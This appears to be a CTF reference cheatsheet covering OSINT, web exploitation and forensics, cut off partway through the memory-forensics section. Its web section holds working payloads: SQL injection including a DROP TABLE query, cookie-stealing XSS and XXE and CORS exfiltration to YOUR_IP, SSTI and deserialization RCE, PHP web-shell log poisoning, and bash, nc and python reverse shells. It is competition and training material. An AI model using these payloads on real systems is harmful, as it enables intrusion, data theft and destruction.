

WEB · OSINT · FORENSICS · REVERSING · STEGANOGRAPHY · PWN
· CRYPTO

CHEATSHEET

Complete Edition — Core Workflows + Extended Arsenal

Burp & ffuf & sqlmap

Volatility & Wireshark

Ghidra & radare2 & gdb

zsteg & steghide

pwntools & ROP

RSA & CyberChef

Sherlock & theHarvester

SageMath & angr

Table of Contents

Merged edition — combines the core workflow of every category with the extended tool arsenal (including a full OSINT category) into one reference. Search this PDF with Ctrl+F during the competition — every command below is copy-pasteable.

0. OSINT

1. Web Exploitation

2. Forensics

3. Reverse Engineering

4. Steganography

5. Binary Exploitation (Pwn)

6. Cryptography

7. General CTF Workflow & Encoding Reference

Tip: Section numbers preserve each category’s original core workflow first, then continue with the extended arsenal (alternative tools, deeper techniques) as later subsections within the same chapter — so everything about Web, Forensics, etc. lives in one place.

0. OSINT

0.1 General Workflow

OSINT challenges are pivot-driven: one clue (a username, an image, a domain, a phone number) unlocks the next. Keep a running note of every artifact you find — CTF OSINT flags are frequently buried several pivots deep.

1. Extract every artifact from the given material first: text, image metadata, filenames, timestamps, visible text in images (screenshots, signage).
2. Identify the artifact type (username / email / domain / phone / image / document) and jump to the matching technique below.
3. Cross-reference: a username found on one platform often unlocks a real name, which unlocks a company domain, etc.
4. Always check the **Wayback Machine** for historical versions of any site or profile — deleted content is a classic hiding spot: https://web.archive.org/web/*/target.com
5. Log every source URL — many OSINT CTFs require you to cite where you found the flag.

0.2 Username & Account Enumeration

BASH

```
# Sherlock - hunts a username across 400+ sites
python3 sherlock.py username

# Maigret - similar to Sherlock but richer reports (HTML/PDF output) + extra sites
maigret username --html

# WhatsMyName (CLI or web) - large, actively maintained site list
python3 web_accounts_list.py --username username

# social-analyzer - checks + confidence scoring, also has a web UI/API
social-analyzer --username username --metadata --top 10

# namechk.com / instantusername.com - quick web alternatives when you can't run tooling locally
```

Tip: if the username includes a discriminator style (e.g. `john_doe92`), try common variants: `johndoe`, `john.doe`, `jdoe92`, etc. — CTF authors often reuse a handle with small tweaks across platforms.

0.3 Email OSINT

BASH

```
# holehe - checks which platforms an email is registered on (password reset / signup leaks)
holehe email@example.com

# h8mail - breach + leak aggregator (needs some free API keys configured)
h8mail -t email@example.com

# theHarvester - harvest emails/subdomains/names tied to a domain from search engines
theHarvester -d target.com -b all

# Have I Been Pwned - check breach exposure (web or API with a key)
curl -s "https://haveibeenpwned.com/api/v3/breachedaccount/email@example.com" -H "hibp-api-key: YOUR_KEY"

# hunter.io - find/guess corporate email formats for a domain (web)
```

Also check raw email **headers** if given an .eml file — `Received:` chains leak internal hostnames/IPs, and `X-Mailer` / `Message-ID` can fingerprint the sending client.

0.4 Phone Number OSINT

BASH

```
# PhoneInfoga - carrier, line type, and search-engine footprint for a number
phoneinfoga scan -n "+15551234567"
```

```
# numverify / veriphone - API-based validation + carrier lookup
curl "http://apilayer.net/api/validate?access_key=KEY&number=15551234567"
```

Reverse-search the number directly in Google/Bing/Facebook search — many people leak numbers in old classifieds, forum sigs, or business listings that get indexed.

0.5 Domain / DNS / WHOIS Recon

BASH

```
whois target.com
dig target.com ANY
dig +short target.com
dig -x 1.2.3.4 # reverse DNS lookup
nslookup target.com

# Subdomain enumeration
sublist3r -d target.com
amass enum -d target.com
subfinder -d target.com -silent
assetfinder --subs-only target.com

# Certificate transparency logs - often the fastest subdomain source
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value'

# dnsdumpster.com / securitytrails.com - web alternatives with historical DNS records
# Shodan / Censys - infrastructure & exposed-service search
shodan search hostname:target.com
shodan host <ip>
censys search "services.tls.certificates.leaf_data.subject.common_name: target.com"
```

0.6 Image OSINT & Geolocation

BASH

```
exiftool image.jpg # GPS EXIF tags are the fastest win - check first
exiftool -gpsposition image.jpg
```

- **Reverse image search:** Google Images, TinEye (tineye.com), and **Yandex Images** — Yandex is frequently the best of the three for faces and non-Western content.
- **AI geolocation assist tools** (use as a lead, verify manually): GeoSpy, Picarta — treat their guesses as a starting hypothesis, not ground truth.
- **Manual geolocation ("GeoGuessr" method):** read road markings, license-plate style/color, driving side, vegetation/climate, architecture, signage language and script, utility poles, sun angle/shadow direction (cross-check with suncalc.org for time-of-day/season), then confirm the exact spot with Google Street View / Google Earth or an OpenStreetMap / Overpass Turbo search for matching landmarks.
- Compare visible landmarks against satellite imagery to pin an exact address.

0.7 Social Media OSINT

BASH

```
# snsrape - scrape public posts/profiles without an API key (Twitter/X, Reddit, etc.)
snsrape --jsonl twitter-search "from:username" > tweets.jsonl

# Osintgram - Instagram profile OSINT (followers, tagged posts, comments)
python3 main.py username

# sn0int - semi-automated OSINT framework with a structured database of findings
sn0int

# linkedin2username - turn a company's public LinkedIn employee list into a username list
```

```
python3 linkedin2username.py -c "Company Name" -d company.com
```

0.8 Google Dorking / Search-Engine OSINT

BASH

```
site:target.com filetype:pdf
site:target.com ext:sql | ext:env | ext:log | ext:bak
site:target.com intitle:"index of"
intext:"password" filetype:xlsx site:target.com
inurl:admin site:target.com
cache:target.com
site:pastebin.com "target.com"
site:github.com "target.com" password OR secret OR api_key
```

Use the **Google Hacking Database** (GHDB, via exploit-db.com) for a large catalog of ready-made dorks by vulnerability class.

0.9 Document & Metadata OSINT

BASH

```
exiftool document.pdf
metagoofil -d target.com -t pdf,doc,xls,docx -l 20 -n 10 -o output_dir # harvest public docs + metadata
```

FOCA (Windows GUI) automates the same idea: crawl a domain for public documents and pull authorship, software versions, and internal paths from their metadata.

0.10 Breach & Leak Data

BASH

```
h8mail -t email@example.com --loose
```

- **haveibeenpwned.com** — breach exposure (web/API).
- **dehashed.com** / **intelx.io** — paid/credentialed breach + leak search engines, often allowed in CTF "find the leaked password" style challenges.
- Check **Pastebin** and public **GitHub/GitLab** search for accidentally committed secrets tied to the target (`site:github.com "target.com" api_key`).

0.11 Automated OSINT Frameworks

BASH

```
# recon-ng - modular recon framework with a marketplace of OSINT modules
recon-ng
> marketplace install all
> workspaces create target
> modules load recon/domains-hosts/hackertarget

# SpiderFoot - automated, runs dozens of OSINT modules against one target
spiderfoot -s target.com -m all

# Maltego - GUI link-analysis tool, best for visually mapping how pivots connect
```

0.12 Common CTF OSINT "Gotchas"

- Check the **challenge author's own social profiles / GitHub** — CTF setters sometimes leak hints or test data in their public accounts.
- Old versions of the target site on the **Wayback Machine** often still contain the flag or a removed hint.
- EXIF **GPS coordinates** in a provided image are frequently the flag itself, or point to the next clue.
- Public **GitHub commit history** (`git log -p`) on a linked repo can reveal secrets that were added then "removed" in a later commit.
- Zoom into every provided image at full resolution — background text, reflections, and screens-within-screens are

common flag locations.

1. Web Exploitation

1.1 Recon & Enumeration

Always start by mapping the attack surface: pages, parameters, technologies, hidden files.

View source / dev tools first — Ctrl+U (view-source), Ctrl+Shift+I (DevTools) — check HTML comments, JS files, hidden inputs, data-* attributes.

Check `/robots.txt`, `/sitemap.xml`, `/.well-known/`, `/humans.txt`. Check response headers for server/framework info:

```
curl -I http://target
```

Directory / file brute forcing

BASH

```
# ffuf (fast, flexible)
ffuf -u http://target/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -c

# ffuf with extensions
ffuf -u http://target/FUZZ -w wordlist.txt -e .php,.txt,.bak,.zip,.old -c

# ffuf recursive + filter by size (to remove false positives)
ffuf -u http://target/FUZZ -w wordlist.txt -fs 1234 -recursion -recursion-depth 2

# gobuster dir mode
gobuster dir -u http://target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak

# gobuster vhost / subdomain enum
gobuster vhost -u http://target -w subdomains.txt --append-domain
gobuster dns -d target.com -w subdomains.txt

# feroxbuster (recursive by default, great for CTFs)
feroxbuster -u http://target -w wordlist.txt -x php,txt,bak,zip

# wfuzz alternative
wfuzz -c -z file,wordlist.txt --hc 404 http://target/FUZZ

# nikto - vuln/misconfig scanner
nikto -h http://target

# whatweb / wappalyzer CLI - fingerprint stack
whatweb http://target -v
```

Parameter discovery

BASH

```
# arjun - find hidden GET/POST parameters
arjun -u http://target/endpoint

# ffuf on GET parameter names
ffuf -u "http://target/page.php?FUZZ=test" -w params.txt -mc 200 -fs <baseline_size>

# ffuf on parameter VALUES once name is known
ffuf -u "http://target/page.php?id=FUZZ" -w wordlist.txt
```

.git / .svn / backup file exposure

BASH

```
# Check for exposed .git
curl http://target/.git/HEAD

# Dump entire repo (git-dumper)
git-dumper http://target/.git/ ./output_dir

# Or manually with wget
```

```
wget -r http://target/.git/

# Once dumped, recover history / deleted files
cd output_dir
git log --all
git show <commit_hash>
git diff <commit1> <commit2>
git log -p --all | grep -i "flag\\|password\\|secret"

# .svn exposure
svn checkout http://target/.svn/ (or use dvcs-ripper's rip-svn.pl)
curl essentials (your best friend)
```

curl essentials

```
BASH

# basic GET
curl http://target/api

# follow redirects, show headers
curl -iL http://target

# custom headers (auth, host header attacks, X-Forwarded-For)
curl -H "Authorization: Bearer TOKEN" -H "X-Forwarded-For: 127.0.0.1" http://target

# POST JSON
curl -X POST http://target/login -H "Content-Type: application/json" -d '{"user":"admin","pass":"admin"}'

# POST form data
curl -X POST http://target/login -d "user=admin&pass=admin"

# send cookies
curl -b "session=abc123" http://target

# save + reuse cookies (great for multi-step chains)
curl -c cookies.txt -b cookies.txt http://target/login -d "user=a&pass=b"

# ignore SSL errors (self-signed certs in CTFs)
curl -k https://target

# upload a file
curl -F "file=@shell.php" http://target/upload

# verbose (see full request/response, TLS handshake)
curl -v http://target

# use a specific HTTP method
curl -X PUT http://target/resource -d "data"
curl -X TRACE http://target # sometimes reveals stuff
```

Tip: Use Burp Suite's Proxy + Repeater for anything interactive. Intercept the request once, send to Repeater (Ctrl+R), and iterate manually or use Intruder for brute-forcing fields. Burp's "Decoder" tab is invaluable for quick base64/url/hex conversions mid-challenge.

1.2 SQL Injection

Manual detection payloads

```
BASH

' OR '1'='1
' OR '1'='1' -- -
' OR '1'='1' #
" OR "1"="1
' OR 1=1--
admin'--
```



```

admin' #
' UNION SELECT NULL-- -
1' ORDER BY 1-- -          (increment to find column count)
1' UNION SELECT 1,2,3-- -
' AND 1=CONVERT(int,(SELECT @@version))--      (MSSQL error-based)
' AND extractvalue(1,concat(0x7e,(SELECT version())))--      (MySQL error-based)

```

Union-based extraction (MySQL example)

BASH

```

'UNION SELECT 1,2,3-- -      -- find # of columns / reflected column
' UNION SELECT database(),2,3-- -
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT username,password,3 FROM users-- -
' UNION SELECT group_concat(username,0x3a,password SEPARATOR 0x0a),2,3 FROM users-- -

```

Blind / time-based

BASH

```

# Boolean-based blind
' AND 1=1-- -          (page behaves normally)
' AND 1=2-- -          (page changes / errors)
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -

# Time-based blind (MySQL)
' AND SLEEP(5)-- -
' OR IF(1=1,SLEEP(5),0)-- -

# Time-based (PostgreSQL)
'; SELECT pg_sleep(5)--

# Time-based (MSSQL)
'; WAITFOR DELAY '0:0:5'--

# Stacked queries (if supported)
'; DROP TABLE users;-- -

```

sqlmap (automate everything above)

BASH

```

# basic scan on a GET param
sqlmap -u "http://target/page.php?id=1" --batch

# from a raw Burp request file
sqlmap -r request.txt --batch --level=5 --risk=3

# specify injectable parameter + technique
sqlmap -u "http://target/page.php?id=1" -p id --technique=BEUSTQ

# dump databases/tables/data
sqlmap -u "http://target/page.php?id=1" --dbs
sqlmap -u "http://target/page.php?id=1" -D dbname --tables
sqlmap -u "http://target/page.php?id=1" -D dbname -T users --dump

# with cookies / auth
sqlmap -u "http://target/page.php?id=1" --cookie="session=abc" --batch

# POST data injection
sqlmap -u "http://target/login" --data="user=a&pass=b" --batch

# OS shell if DBMS allows (MySQL w/ FILE priv, MSSQL xp_cmdshell)
sqlmap -u "http://target/page.php?id=1" --os-shell

```

```
# read/write files (needs FILE privilege, secure_file_priv unset)
sqlmap -u "http://target/page.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target/page.php?id=1" --file-write=shell.php --file-dest="/var/www/html/shell.php"

# bypass WAF with tamper scripts
sqlmap -u "http://target/page.php?id=1" --tamper=space2comment,between --batch
```

NoSQL injection (MongoDB)

```
BASH

# Auth bypass in JSON body
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}

# In URL params (PHP-style array syntax)
?username[$ne]=x&password[$ne]=x

# Regex-based blind extraction
{"username": "admin", "password": {"$regex": "^a"}}
```

1.3 Cross-Site Scripting (XSS)

```
BASH

# Basic reflected
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# Bypass filters
<ScRiPt>alert(1)</sCrIpT>
<img src=x onerror="alert`1`">
<svg/onload=alert(1)>
"><script>alert(1)</script>
javascript:alert(1) (in href/src attributes)
<iframe src="javascript:alert(1)">

# Steal cookies (exfil to your listener)
<script>fetch('http://YOUR_IP:PORT/?c='+document.cookie)</script>
<script>new Image().src='http://YOUR_IP/?c='+document.cookie</script>

# DOM XSS sinks to look for in JS source
innerHTML, outerHTML, document.write, eval, setTimeout(string), location.href,
insertAdjacentHTML, jQuery .html()

# Start a listener to catch exfiltrated data
python3 -m http.server 8000
nc -lvp 8000 # if using raw nc-based exfil

# Blind XSS testing frameworks
XSS Hunter, or self-hosted:
<script src="http://YOUR_IP/hook.js"></script>
```

1.4 Server-Side Template Injection (SSTI)

Detection & identification

```
BASH

${7*7} -> if 49: could be Freemarker/Velocity-ish
{{7*7}} -> if 49: Jinja2/Twig/Nunjucks
{{7*'7'}} -> '7777777' = Jinja2 (Python) | 49 = Twig (PHP)
${7*7} -> Java template engines
```

```
{7*7}      -> Ruby (Slim)
*{7*7}      -> Some Java engines
```

Jinja2 (Flask) RCE payloads

BASH

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ '.__class__.__mro__[1].__subclasses__() }} -- list subclasses to find a useful gadget (e.g. subprocess.Popen)
{{ '.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate() }}
{% for x in ().__class__.__base__.__subclasses__() %}
    {% if "warning" in x.__name__ %}
        {{ x().__module__.__builtins__[ '__import__']('os').popen("id").read() }}
    {% endif %}
{% endfor %}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```

Twig (PHP) RCE

BASH

```
{{ ['id']|filter('system') }}
{{ ['id','shell_exec']|map('system')|join }}
{{ self.env.registerUndefinedFilterCallback("exec") }}{{ self.env.getFilter("id") }}
```

Tip: Use **tplmap** to automate SSTI detection/exploitation: `python3 tplmap.py -u 'http://target/page?name=test'`

1.5 XML External Entity (XXE)

BASH

```
# Basic file read
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

# Blind XXE (out-of-band) when no reflection
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://YOUR_IP/evil.dtd"> %xxe; ]>
<foo>test</foo>

# evil.dtd hosted on your server:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR_IP/?x=%file;'>">
%eval;
%exfil;

# SSRF via XXE
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-service:8080/"> ]>

# XXE via file upload (SVG, DOCX, XLSX are ZIP/XML-based - check embedded XML!)
```

1.6 Local/Remote File Inclusion (LFI/RFI) & Path Traversal

BASH

```
# Basic traversal
http://target/page.php?file=../../../../etc/passwd
http://target/page.php?file=../../../../../../../../etc/passwd (filter bypass)
http://target/page.php?file=..%2f..%2f..%2fetc%2fpasswd (URL encoded)
http://target/page.php?file=..%252f..%252f..%252fetc%252fpasswd (double encoded)
```

```
# Null byte (old PHP < 5.3.4)
http://target/page.php?file=../../../../etc/passwd%00

# PHP filters - read source code instead of executing it
http://target/page.php?file=php://filter/convert.base64-encode/resource=index.php
# then: echo "<base64>" | base64 -d

# PHP wrappers for RCE
http://target/page.php?file=php://input      (POST raw PHP code as body, with <?php system($_GET['c']); ?>)
http://target/page.php?file=data://text/plain;base64,<base64_php_payload>
http://target/page.php?file=expect://id

# Log poisoning -> RCE
# 1. Inject PHP payload into a log file via User-Agent header:
curl http://target/ -A "<?php system($_GET['cmd']); ?>"
# 2. Include the log file:
http://target/page.php?file=../../../../var/log/apache2/access.log&cmd=id

# LFI via SSH auth log poisoning
ssh '<?php system($_GET["cmd"]); ?>'@target (then include /var/log/auth.log)

# Session file inclusion (PHPSESSID)
http://target/page.php?file=../../../../var/lib/php/sessions/sess_<PHPSESSID>

# Wordlist-based LFI fuzzing
ffuf -u "http://target/page.php?file=FUZZ" -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
```

1.7 Command Injection

BASH

```
# Separators to try
; id
&& id
|| id
| id
`id`
$(id)
%0a id (newline byte)

# Blind command injection - out of band
; curl http://YOUR_IP/$(whoami)
; nslookup $(whoami).YOUR_BURP_COLLAB_ID.oastify.com
; ping -c 3 YOUR_IP

# Filter bypass tricks
c${IFS}at${IFS}/etc/passwd      (IFS instead of space)
c${IFS}$9at${IFS}$9/etc/passwd
w'h'o'am'i
w"h"o"am"i
/???/??t /???/p??s??          (wildcard globbing to spell "cat /etc/passwd")

# Getting a reverse shell once you have injection
; bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
; nc -e /bin/sh YOUR_IP 4444
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'
```

1.8 Insecure Deserialization

BASH

```
# PHP - identify serialized objects: 0:4:"User":2:{...}
# Craft with a PHP one-liner locally:
php -r 'class Exploit { public $cmd = "id"; } echo serialize(new Exploit());'
```

```
# Look for magic methods: __wakeup, __destruct, __toString - these run automatically on unserialize()

# phpggc - generate ready-made gadget chains
phpggc -l # list all gadget chains available
phpggc Laravel/RCE1 system id -b # generate + base64 encode payload
phpggc Symfony/RCE4 system id

# Java deserialization
ysoserial CommonsCollections6 "id" > payload.bin
# send payload.bin as the serialized blob (often base64 in a cookie or param)

# Python pickle - RCE via __reduce__
import pickle, os
class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))
print(pickle.dumps(Exploit()))
# Deliver the pickled bytes wherever pickle.loads() is called

# Node.js - node-serialize RCE
'{"rce": "_$SND_FUNC$$_function(){require(\'child_process\').exec(\'id\', function(e, out){ console.log(out) })}()}"'
```

1.9 JWT (JSON Web Token) Attacks

```
BASH

# Decode a JWT quickly (header.payload.signature, base64url each part)
echo "<part>" | base64 -d (add == padding if it errors, or use jwt_tool)

# jwt_tool - the go-to
python3 jwt_tool.py <token> # decode & inspect
python3 jwt_tool.py <token> -T # tamper interactively
python3 jwt_tool.py <token> -X a # alg=none attack (strip signature)
python3 jwt_tool.py <token> -C -d wordlist.txt # crack HS256 secret with wordlist
python3 jwt_tool.py <token> -X k -pk public.pem # RS256->HS256 confusion attack

# alg:none manual bypass
# Header: {"alg": "none", "typ": "JWT"} -> base64url encode header+payload, leave signature empty, keep trailing dot
echo -n '{"alg": "none", "typ": "JWT"}' | base64 | tr -d '=' | tr '/+' '_-'

# Brute-force the HMAC secret
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
john --wordlist=rockyou.txt --format=HMAC-SHA256 jwt.txt

# kid (Key ID) header injection - SQLi or path traversal in kid claim
{"alg": "HS256", "kid": "../../../dev/null"} # forces empty key -> signature = HMAC('', data) = known value
```

1.10 Authentication & Session Attacks

- **IDOR:** change numeric/UUID IDs in requests (user_id, order_id) and see if you access others' data. Use Burp Intruder to sweep a range of IDs.
- **Broken access control:** try accessing admin routes directly (/admin , /api/admin/users) as a low-priv user.
- **HTTP verb tampering:** if GET /admin is blocked, try POST , HEAD , or add X-Original-Method: GET / X-HTTP-Method-Override headers.
- **Password reset poisoning:** tamper Host header or add X-Forwarded-Host to point reset links to your server.
- **Rate limit / brute force:** Burp Intruder with a "Cluster bomb" or "Sniper" attack against login forms; watch for account lockout bypass via changing source IP headers.
- **Race conditions:** fire many concurrent requests (e.g. redeem coupon twice) using ffuf -c -t 50 or Burp's "Turbo Intruder" / "Race condition" extension.

1.11 SSRF (Server-Side Request Forgery)

```
BASH

# Basic
```

```

http://target/fetch?url=http://127.0.0.1:80/
http://target/fetch?url=http://169.254.169.254/latest/meta-data/          (cloud metadata - AWS)
http://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Bypass filters on "localhost"/"127.0.0.1"
http://0.0.0.0
http://0177.0.0.1              (octal)
http://2130706433              (decimal IP)
http://[::1]                   (IPv6 loopback)
http://127.1
http://127.0.0.1.nip.io
http://localtest.me

# URL parser confusion
http://expected-host@attacker.com/
http://attacker.com#expected-host
http://attacker.com\@expected-host  (backslash trick, parser-dependent)

# Redirect-based bypass (if app blocks the URL but follows redirects)
# Host a redirect on your server: 302 -> http://127.0.0.1/admin

```

1.12 Common CTF Web "Gotchas"

- Check HTTP response headers for flags/hints: `curl -i`, look at `Set-Cookie`, custom `X-` headers.
- Check `/api`, `/api/v1`, `/graphql`, `/swagger.json`, `/api-docs`, `/.env`, `/config.php.bak`, `/backup.zip`.
- GraphQL: try an introspection query to dump the whole schema:
`curl -X POST http://target/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name fields{name}}}}"}'`
- Inspect JS bundles for hardcoded API keys / hidden routes: `curl http://target/app.js` then grep for `api`, `key`, `token`, `/admin`.
- Check cookies for base64/JWT-encoded role info (`role=user` -> try `role=admin`).
- Try HTTP request smuggling if there's a front-end proxy + back-end server (use Burp's "HTTP Request Smuggler" extension).
- **CyberChef** (gchq.github.io/CyberChef) for quickly decoding any weird cookie/param value.
- Wappalyzer / whatweb to fingerprint CMS -> search known CVEs (`searchsploit wordpress 5.8`).
- WordPress-specific: `wpscan --url http://target --enumerate u,vp,vt`

1.13 CORS Misconfiguration

BASH

```

# Test if the server reflects arbitrary Origins with credentials allowed
curl -H "Origin: https://evil.com" -I https://target.com/api/data
# Look for: Access-Control-Allow-Origin: https://evil.com
#           Access-Control-Allow-Credentials: true      <- exploitable combo

# PoC page to steal authenticated data cross-origin

```

HTML

```

<script>
fetch('https://target.com/api/private', {credentials:'include'})
  .then(r => r.text())
  .then(d => fetch('https://YOUR_IP/?d=' + encodeURIComponent(d)));
</script>

```

Also check for weak Origin-validation regex (e.g. `target\.com$` matches `eviltarget.com`), or `.*\.target\.com` matches `target.com.evil.com`.

1.14 CSRF (Cross-Site Request Forgery)

HTML

```

<!-- Auto-submitting form PoC (GET/POST state-changing request without a CSRF token) -->

```

```
<form action="https://target.com/change-email" method="POST" id="f">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('f').submit();</script>
```

Check for: missing/predictable CSRF tokens, tokens not tied to the session, `SameSite=None` /absent cookies, and GET-based state changes. Burp's **CSRF PoC generator** (right-click a request) automates the form above.

1.15 Clickjacking

HTML

```
<style>iframe{opacity:0.0001;position:absolute;top:0;left:0;width:100%;height:100%;}</style>
<iframe src="https://target.com/delete-account"></iframe>
<button style="position:absolute;top:200px;left:200px;">Click for a prize!</button>
```

Check response headers for missing `X-Frame-Options` / `Content-Security-Policy: frame-ancestors`.

1.16 HTTP Request Smuggling (deeper)

BASH

```
# CL.TE - front-end uses Content-Length, back-end uses Transfer-Encoding
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

BASH

```
# TE.CL - front-end uses Transfer-Encoding, back-end uses Content-Length
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8

SMUGGLED

0
```

Use Burp's **HTTP Request Smuggler** extension to automate detection, and always confirm with a **timing-based** probe before a differential (response-queue-poisoning) probe to avoid false positives.

1.17 GraphQL Deep Dive

BASH

```
# graphql-cop - automated GraphQL vuln scanner (introspection, batching, DoS, field suggestions)
python3 graphql-cop.py -t https://target.com/graphql

# InQL (Burp extension / CLI) - schema mapping + query/mutation generator from introspection
inql -t https://target.com/graphql

# clairvoyance - reconstruct a schema even when introspection is disabled, via error suggestions
clairvoyance -o schema.json https://target.com/graphql
```

Also try **batching attacks** (send an array of queries in one request to bypass rate limiting) and check every **mutation** for missing authorization checks, not just queries.

1.18 API Security / Structured Testing

- **Postman / Insomnia / Bruno** — collection-based manual API testing, great for chaining auth-token requests.

- **httpx** — fast multi-target HTTP probing: `httpx -l urls.txt -sc -title -tech-detect`
- **kiterunner** — API-endpoint bruteforcing aware of OpenAPI/Swagger route shapes:
`kr scan https://target.com -w routes-large.kite`
- Always fetch `/swagger.json` , `/openapi.json` , `/v2/api-docs` — a full route map is often handed to you for free.

1.19 Business Logic Flaws

No single tool covers this — think through the workflow manually: can you skip a payment step by jumping straight to the "success" callback URL? Can you apply a discount coupon multiple times by racing the request? Can you downgrade/upgrade a price parameter client-side and replay it? Burp **Repeater** + **Turbo Intruder** (for race conditions) are the main tools; the vulnerability itself is a design flaw, not a payload.

1.20 Additional Recon Tool Alternatives

Purpose	Primary (from core)	Alternatives
Directory brute force	ffuf, gobuster	dirsearch, feroxbuster, wfuzz
Proxy/repeater	Burp Suite	Caido (lighter, Rust-based), OWASP ZAP
Subdomain enum	gobuster dns	subfinder, assetfinder, amass
URL/crawl discovery	—	katana (<code>katana -u https://target.com -jc</code>), gau, waybackurls
Tech fingerprinting	whatweb	wappalyzer CLI, <code>httpx -tech-detect</code>

2. Forensics

2.1 First Steps on Any File

```
BASH

# Identify file type (don't trust the extension!)
file mystery_file

# Hex dump - look at magic bytes manually
xxd mystery_file | head -20
hexdump -C mystery_file | head -20
od -A x -t x1z mystery_file | head

# Strings - pull readable text out
strings mystery_file | less
strings -n 8 mystery_file          # min length 8 (less noise)
strings -e l mystery_file          # 16-bit little endian strings (UTF-16/Windows binaries)
strings mystery_file | grep -i "flag\|http\|password\|key"

# Check embedded metadata
exiftool mystery_file
exiftool -a -u -g1 mystery_file    # show ALL tags, even unknown/duplicate

# Compare against known hash sets / verify integrity
md5sum mystery_file
sha256sum mystery_file

# Look for embedded files / carve everything
binwalk mystery_file
binwalk -e mystery_file            # extract everything found
binwalk -E mystery_file            # entropy analysis (spot compressed/encrypted regions)
foremost -i mystery_file -o output_dir
scalpel mystery_file -o output_dir
```

Common magic bytes / file signatures

Hex signature	File type
89 50 4E 47	PNG
FF D8 FF	JPEG
47 49 46 38	GIF
25 50 44 46	PDF (%PDF)
50 4B 03 04	ZIP / DOCX / XLSX / JAR / APK (all ZIP-based)
52 61 72 21 1A 07	RAR
37 7A BC AF 27 1C	7-Zip
1F 8B	GZIP
42 5A 68	BZIP2
7F 45 4C 46	ELF binary
4D 5A	Windows PE (EXE/DLL)
52 49 46 46 ... 57 41 56 45	WAV
49 44 33 / FF FB	MP3
66 74 79 70	MP4 (at offset 4)
4F 67 67 53	OGG
42 4D	BMP
53 51 4C 69 74 65	SQLite DB

Tip: If a file has the wrong extension or won't open, fix the magic bytes with a hex editor ([bless](#) , [GHex](#) , [wxHexEditor](#) , or just `printf/Python`) and try again.

2.2 Image Forensics

BASH

```
# Metadata (GPS, camera, software, comments, timestamps)
exiftool image.jpg

# Check for appended data after the actual image end (common flag hiding spot)
binwalk image.jpg
foremost image.jpg -o out/

# View/edit pixel-level data & extra data streams
stegsolve.jar          # GUI: File > Open, then flip through Red/Green/Blue/Alpha planes, XOR modes
zsteg image.png -a      # automatically try common LSB stego tricks on PNG/BMP

# Check for hidden text appended to the file at the end (with a text editor)
tail -c 500 image.jpg | xxd

# Corrupted image repair - compare header against a known-good file of same type
xxd good.png | head -5
xxd broken.png | head -5
# Manually patch broken bytes with a hex editor or Python

# PNG chunk analysis (IHDR, IDAT, tEXt, etc.)
pngcheck -v image.png
python3 -c "
import struct
data = open('image.png', 'rb').read()
i = 8
while i < len(data):
    length = struct.unpack('>I', data[i:i+4])[0]
    ctype = data[i+4:i+8].decode()
    print(ctype, length)
    i += 8 + length + 4
"

# Change PNG dimensions in header to reveal cropped-out flag data (CRC will mismatch, some viewers tolerate it)
```

2.3 Archive / Document Forensics

BASH

```
# List and extract zip contents, even with a bad/missing central directory
unzip -l archive.zip
unzip archive.zip
zipinfo archive.zip

# Crack a password protected zip
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt archive.zip
zip2john archive.zip > zip.hash && john zip.hash --wordlist=rockyou.txt

# Crack password protected RAR / 7z
rar2john archive.rar > rar.hash && john rar.hash --wordlist=rockyou.txt
7z2john.pl archive.7z > 7z.hash && john 7z.hash --wordlist=rockyou.txt

# Office docs (docx/xlsx/pptx) are ZIPs - unzip and inspect XML directly
unzip document.docx -d document_extracted
cat document_extracted/word/document.xml
# Check document_extracted/docProps/core.xml for author/metadata
# Check for hidden text/embedded objects in word/media/, word/embeddings/

# Legacy .doc / OLE files - inspect streams
olevba document.doc      # extract VBA macros (also flags suspicious keywords)
```

```

oleid document.doc
exiftool document.doc

# PDF forensics
pdftotext document.pdf out.txt
exiftool document.pdf
qpdf --qdf --object-streams=disable document.pdf decompressed.pdf # readable structure
pdf-parser.py document.pdf # didier stevens' tool, lists objects/streams
pdfimages -all document.pdf img_prefix # extract embedded images
peepdf document.pdf # analyze for JS/embedded files/exploits

```

2.4 Memory Forensics (Volatility)

BASH

```

# Volatility 3 (current) - workflow
python3 vol.py -f memory.dmp windows.info # identify OS/profile
python3 vol.py -f memory.dmp windows.pslist # running processes
